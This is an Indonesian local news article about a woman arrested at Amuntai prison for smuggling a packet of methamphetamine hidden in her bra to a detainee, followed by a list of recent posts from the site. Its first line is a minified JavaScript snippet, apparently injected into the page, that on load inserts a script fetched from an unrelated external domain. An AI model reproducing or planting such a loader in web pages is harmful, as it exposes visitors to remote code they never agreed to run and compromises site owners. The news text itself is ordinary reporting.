(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Balik BH saat Besuk ke Lapas, Emak-emak Ini Ditangkap Polisi


AMUNTAI, Mencoba ‘peruntungan’ jadi kurir benda haram, itulah yang dilakoni Rusmini alias Irus (32) warga Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan ini. Bermodal nekat mengantarkan paket sabu ke dalam Lapas Amuntai, eh malah berujung ditangkap polisi.

Ya, emak-emak aliaa ibu rumah tangga ini ditangkap petugas Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai, lantaran nekat membawa 1 paket sabu dengan berat bersih 1,31 gram untuk temannya Haiman alias Man (33) yang sedang menanti vonis di Lapas Amuntai.

Man sendiri diketahui merupakan warga Desa Mangkupum RT 01 Kecamatan Muara Uya, Kabupaten Tabalong, tahanan titipan dari Polres Balangan yang masih menunggu masa vonis di Pengadilan Negeri Amuntai terkait kasus serupa. Kasat Narkoba Polres HSU Iptu Taufik Suhardiman, kepada Kanalkalimantan.com, Selasa (24/12) mengatakan, saat itu pemeriksaan Irus langsung ditangani oleh Sat Resnarkoba. Sedangkan barang haram tersebut dipesan langsung oleh  Man.

Man (33)

Dari Informasi, berawal ketika tersangka Irus dijanjikan upah sebesar Rp 300 ribu mengantar per paket. Irus datang ke Lapas Amuntai dengan niat membesuk Man. Sesampainya di penjagaan Irus diperiksa oleh petugas wanita dan dilakukan penggeledahan. Alhasil, petugas mendapati 1 paket sabu yang terbungkus dalam plastik hitam yang disimpan dalam pakaian dalam wanita (BH) di sebelah kiri.

Usut-punya usut, tersangka Irus mengaku barang tersebut milik temannya Man. Ia hanya diminta untuk mengantarkan barang tersebut ke dalam Lapas Amuntai. Petugas pun mememanggil Man yang menghuni kamar 02 dan ia mengakui dirinya yang meminta Irus untuk mengantarkan paket narkotika jenis sabu tersebut.

Barang Bukti Sabu

“Ini hasil kerjasama Lapas dan Sat Resnarkoba memerangi peredaran gelap narkoba,” ujarnya. Anggota sat  Narkoba kemudian menggelandang keduanya ke Mapolres HSU guna diproses lebih lanjut .

“Semoga ini jadi contoh bagi pemakai, pengedar  yang masih belum beraksi,” ucap Taufik.

Sementara itu, kedua tersangka bersama dengan barang bukti lainnya seperti 1 buah Hp dan 1 buah kendaraan bermotor roda dua dibawa ke kantor polisi. Keduanya terancam kasus UU RI No. 35 tahun 2009 tentang narkotika. (dew)

Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

51 menit ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

5 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

9 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

10 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

1 hari ago

This website uses cookies.